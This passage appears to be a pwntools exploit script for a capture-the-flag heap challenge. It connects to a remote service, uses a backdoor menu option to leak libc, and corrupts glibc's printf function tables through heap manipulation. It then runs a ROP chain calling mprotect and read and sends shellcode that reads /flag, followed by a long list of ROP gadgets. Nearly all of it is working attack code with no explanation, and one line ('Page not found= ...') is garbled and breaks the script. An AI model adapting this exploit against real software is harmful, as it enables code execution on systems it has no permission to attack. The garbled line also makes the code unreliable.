gdbscript += 'directory %sstdlib/\n' % glibc_dir | |
gdbscript += 'directory %slibio/\n' % glibc_dir | |
elf_base = int(os.popen('pmap {}| awk \x27{ {print \x241} }\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 | |
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint | |
gdb.attach(p, gdbscript) | |
time.sleep(1) | |
elf = ELF('./pwn') | |
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62']) | |
#p = process('./pwn') | |
#debug() | |
p = remote('192.168.166.147',58012) | |
def menu(c): | |
sla('Choice: ',str(c)) | |
def add(size,data='u'): | |
menu(1) | |
sla('Please input size: ',str(size)) | |
sea('Please input content: ',str(data)) | |
def dele(id): | |
menu(2) | |
sla('Please input idx: ',str(id)) | |
def show(id): | |
menu(3) | |
sla('Please input idx: ',str(id)) | |
def bkdoor(id): | |
menu(666) | |
sla('Please input idx: ',str(id)) | |
for i in range(20): | |
add(0x80) | |
for i in range(7): | |
dele(6-i) | |
# 8 9 11 | |
bkdoor(9) | |
show(9) | |
libc_leak = uu64(ru('\x7f',drop=False)[-6:]) | |
libc_base = libc_leak - 0x1ecbe0 | |
lg('libc_leak',libc_leak) | |
lg('libc_base',libc_base) | |
#libc = ELF('./libc.so.6') | |
libc = elf.libc | |
libc.address = libc_base | |
system_addr = libc.sym.system | |
bin_sh = libc.search('/bin/sh').next() | |
__printf_arginfo_table = libc_base + 0x1ed7b0 | |
__printf_function_table = libc_base + 0x1f1318 | |
lock = libc_base + 0x222f68 # _rtld_global+3848 | |
main_arena_x96 = libc_base + 0x1ecbe0 | |
Page not found= libc_base + 0x154dea | |
dele(8) | |
add(0x80) # 0 | |
dele(9) | |
# add(0x10) # 1 | |
# add(0x20,'\0'*0x10+p64()) # 2 | |
# # 7a0 | |
add(0x80) # 1 | |
add(0x90,'\0'*0x88+p32(0x90*9+1)) # 2 | |
for i in range(6): | |
add(0x80,p64(libc.sym.exit)*(0x80/8)) # 3 | |
add(0x70) | |
# add(0x80) # 4 | |
dele(1) | |
dele(11) | |
dele(10) | |
add(0x40) | |
add(0x50,p64(0)*6+p64(0x80)+p64(0x91)+p64(__printf_arginfo_table)+p64(0)) | |
add(0x88) # 20 | |
add(0x88,p64(__printf_arginfo_table + 8 - 0x378)+p64(libc.sym.exit)*12) # 21 | |
dele(13) | |
dele(12) | |
add(0x90) | |
add(0x90,'\0'*0x58+p64(0x91)+p64(__printf_function_table)+p64(0)) | |
add(0x80) | |
add_rsp_x28 = libc_base + 0x0000000000047445 | |
leave_ret = libc_base + 0x00000000000578c8 | |
ret = libc_base + 0x0000000000022679 | |
rdi = libc_base +0x0000000000023b6a | |
rsi = libc_base + 0x000000000002601f | |
rdx_r12 = libc_base + 0x0000000000119211 | |
add(0x80,p64(main_arena_x96+0x20)+p64(0)+p64(add_rsp_x28)*2+p64(__printf_function_table+8)+p64(0)+p64(leave_ret)+p64(0)+p64(rdi)+p64(0)+p64(rsi)+p64(__printf_function_table+0x78)+p64(rdx_r12)+p64(0x1000)+p64(0)+p64(libc.sym.read)) | |
dele(14) | |
dele(15) | |
add(0x90) | |
add(0x90) | |
add(0x90,'\0'*0x28+p64(0x91)+p64(lock)+p64(0)) # _dl_fini+113 | |
add(0x80) | |
add(0x80,p64(libc.sym.gets)+p64(Page not found)) | |
dele(16) | |
dele(17) | |
add(0x90) | |
add(0x90,'\0'*8+p64(0x91)+p64(main_arena_x96)) | |
# add(0x90,'\0'*0x28+p64(0x91)+p64(lock)+p64(0)) | |
add(0x80) | |
add(0x80,'\xa0') | |
# pause() | |
menu(1) | |
sla('Please input size: ',str(0x80)) | |
# show(21) | |
# dele(20) | |
# add(1) | |
addr = (libc.sym.__free_hook>>12)<<12 | |
fuck = SigreturnFrame() | |
fuck.rdi = 0 | |
fuck.rsi = addr | |
fuck.rdx = 0x300 | |
fuck.rsp = addr + 8 | |
fuck.rip = libc.sym.read | |
lock_rdi = 0x222968 + libc_base | |
sleep(2) | |
sl('a'*0x48+p64(__printf_function_table+8)) | |
mmp = flat([ | |
0,rdi,((addr)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,addr+0x400,rdx_r12,0x100,0,libc.sym.read,libc_base + 0x000000000010d5dd | |
]) | |
sleep(1) | |
sl(mmp) | |
sl(asm(shellcraft.cat('/flag'))) | |
p.interactive() | |
''' | |
0x00000000000248f1 : pop r15 ; pop rbp ; ret | |
0x0000000000023b69 : pop r15 ; ret | |
0x000000000005520f : pop rax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret | |
0x00000000000226be : pop rax ; pop rbx ; pop rbp ; ret | |
0x000000000015f8c5 : pop rax ; pop rdx ; pop rbx ; ret | |
0x0000000000036174 : pop rax ; ret | |
0x0000000000023b62 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x0000000000026019 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret | |
0x00000000000ef193 : pop rbp ; pop r12 ; pop r13 ; pop r15 ; ret | |
0x0000000000025b9a : pop rbp ; pop r12 ; pop r13 ; ret | |
0x000000000008e22f : pop rbp ; pop r12 ; pop r14 ; ret | |
0x000000000002f708 : pop rbp ; pop r12 ; ret | |
0x000000000013641e : pop rbp ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x00000000000248ee : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret | |
0x0000000000023b66 : pop rbp ; pop r14 ; pop r15 ; ret | |
0x000000000002601d : pop rbp ; pop r14 ; ret | |
0x00000000000ef197 : pop rbp ; pop r15 ; ret | |
0x0000000000046077 : pop rbp ; pop rbp ; ret | |
0x0000000000055bb8 : pop rbp ; pop rbx ; ret | |
0x00000000000226c0 : pop rbp ; ret | |
0x000000000010feb0 : pop rbx ; pop r12 ; pop r13 ; pop r14 ; ret | |
0x0000000000046073 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret | |
0x0000000000062569 : pop rbx ; pop r12 ; pop r13 ; ret | |
0x000000000005b937 : pop rbx ; pop r12 ; ret | |
0x000000000003040a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret | |
0x00000000000ef192 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r15 ; ret | |
0x0000000000025b99 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret | |
0x000000000008e22e : pop rbx ; pop rbp ; pop r12 ; pop r14 ; ret | |
0x000000000002f830 : pop rbx ; pop rbp ; pop r12 ; ret | |
0x000000000013641d : pop rbx ; pop rbp ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x0000000000196c62 : pop rbx ; pop rbp ; pop r14 ; ret | |
0x00000000000226bf : pop rbx ; pop rbp ; ret | |
0x000000000002fdaf : pop rbx ; ret | |
0x0000000000119150 : pop rcx ; pop rbp ; pop r12 ; pop r13 ; ret | |
0x00000000001587d3 : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret | |
0x000000000010257e : pop rcx ; pop rbx ; ret | |
0x0000000000118d4f : pop rcx ; ret 0xf66 | |
0x00000000000248f2 : pop rdi ; pop rbp ; ret | |
0x0000000000023b6a : pop rdi ; ret | |
0x0000000000119211 : pop rdx ; pop r12 ; ret | |
0x000000000015f8c6 : pop rdx ; pop rbx ; ret | |
0x000000000010257d : pop rdx ; pop rcx ; pop rbx ; ret | |
0x0000000000142c92 : pop rdx ; ret | |
0x00000000000dfc12 : pop rdx ; ret 0x10 | |
0x00000000000248f0 : pop rsi ; pop r15 ; pop rbp ; ret | |
0x0000000000023b68 : pop rsi ; pop r15 ; ret | |
0x000000000002601f : pop rsi ; ret | |
0x00000000000248ec : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret | |
0x0000000000023b64 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x000000000002601b : pop rsp ; pop r13 ; pop r14 ; ret | |
0x00000000000ef195 : pop rsp ; pop r13 ; pop r15 ; ret | |
0x0000000000046075 : pop rsp ; pop r13 ; pop rbp ; ret | |
0x0000000000025b9c : pop rsp ; pop r13 ; ret | |
0x000000000008e231 : pop rsp ; pop r14 ; ret | |
0x000000000012cf7e : pop rsp ; pop rbp ; ret | |
0x000000000002f70a : pop rsp ; ret | |
0x0000000000099020 : pop rsp ; ret 0xffff | |
0x0000000000022679 : ret | |
''' |

